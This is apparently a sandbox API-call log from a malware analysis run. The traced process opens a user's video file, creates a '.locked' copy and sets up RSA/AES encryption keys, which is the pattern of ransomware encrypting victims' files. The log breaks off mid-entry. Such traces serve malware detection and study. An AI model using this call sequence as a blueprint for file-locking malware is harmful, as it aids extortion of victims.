(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0138.081] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0138.081] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0138.081] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0138.081] SystemFunction041 (in: Memory=0x8ebf9bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf9bc) returned 0x0 [0138.081] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0138.081] SystemFunction040 (in: Memory=0x8ebf9bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf9bc) returned 0x0 [0138.081] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0138.081] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0138.081] SystemFunction041 (in: Memory=0x8ebf9bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf9bc) returned 0x0 [0138.081] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0138.081] SystemFunction040 (in: Memory=0x8ebf9bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf9bc) returned 0x0 [0138.081] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0138.081] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0138.081] SystemFunction041 (in: Memory=0x8ebf9bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf9bc) returned 0x0 [0138.081] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0138.081] SystemFunction040 (in: Memory=0x8ebf9bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf9bc) returned 0x0 [0138.081] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0138.082] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0138.082] SystemFunction041 (in: Memory=0x8ebf9bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf9bc) returned 0x0 [0138.082] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0138.082] SystemFunction040 (in: Memory=0x8ebf9bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf9bc) returned 0x0 [0138.082] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0138.082] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0138.082] SystemFunction041 (in: Memory=0x8ebf9bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf9bc) returned 0x0 [0138.082] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0138.082] SystemFunction040 (in: Memory=0x8ebf9bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf9bc) returned 0x0 [0138.082] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0138.082] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0138.082] SystemFunction041 (in: Memory=0x8ebf9bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf9bc) returned 0x0 [0138.082] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0138.082] SystemFunction040 (in: Memory=0x8ebf9bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf9bc) returned 0x0 [0138.082] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0138.082] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0138.082] SystemFunction041 (in: Memory=0x8ebf9bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf9bc) returned 0x0 [0138.083] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0138.083] SystemFunction040 (in: Memory=0x8ebf9bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf9bc) returned 0x0 [0138.083] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0138.083] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0138.083] SystemFunction041 (in: Memory=0x8ebf9bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf9bc) returned 0x0 [0138.083] SystemFunction040 (in: Memory=0x8ebf9bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf9bc) returned 0x0 [0138.083] SystemFunction041 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0138.083] SystemFunction040 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0138.083] SystemFunction041 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0138.083] SystemFunction040 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0138.083] SystemFunction041 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0138.084] SystemFunction040 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0138.084] SystemFunction041 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0138.084] SystemFunction040 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0138.084] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.084] SystemFunction041 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0138.084] SystemFunction040 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0138.085] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x43964e8) returned 1 [0138.086] CryptImportKey (in: hProv=0x43964e8, pbData=0x6969e44, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84b38) returned 1 [0138.086] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0138.086] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.086] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.086] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.086] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.088] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\mlcp9z6qmpkkhl\\0blj4c_pvmox6krbe.avi")) returned 0x20 [0138.088] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\mlcp9z6qmpkkhl\\0blj4c_pvmox6krbe.avi")) returned 0x20 [0138.088] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi", lpFilePart=0x0) returned 0x71 [0138.089] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi", lpFilePart=0x0) returned 0x71 [0138.089] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.089] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi", lpFilePart=0x0) returned 0x71 [0138.089] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi", lpFilePart=0x0) returned 0x71 [0138.089] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.089] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.089] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.089] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.091] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi", lpFilePart=0x0) returned 0x71 [0138.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0138.091] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\mlcp9z6qmpkkhl\\0blj4c_pvmox6krbe.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0138.092] GetFileType (hFile=0x764) returned 0x1 [0138.092] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0138.092] GetFileType (hFile=0x764) returned 0x1 [0138.092] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.092] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0138.092] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.092] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.092] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.092] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi.locked", lpFilePart=0x0) returned 0x78 [0138.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0138.093] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\mlcp9z6qmpkkhl\\0blj4c_pvmox6krbe.avi.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0138.093] GetFileType (hFile=0x778) returned 0x1 [0138.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0138.093] GetFileType (hFile=0x778) returned 0x1 [0138.093] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.093] CryptGenRandom (in: hProv=0x43964e8, dwLen=0x10, pbBuffer=0x698a6d4 | out: pbBuffer=0x698a6d4) returned 1 [0138.093] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0138.094] CryptDuplicateKey (in: hKey=0x8e84b38, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84978) returned 1 [0138.094] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0138.094] CryptSetKeyParam (hKey=0x8e84978, dwParam=0x4, pbData=0x698b990*=0x1, dwFlags=0x0) returned 1 [0138.094] CryptSetKeyParam (hKey=0x8e84978, dwParam=0x1, pbData=0x698b95c, dwFlags=0x0) returned 1 [0138.094] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\x1050\x438\x24a") returned 0x0 [0138.094] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.094] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.094] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.094] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, 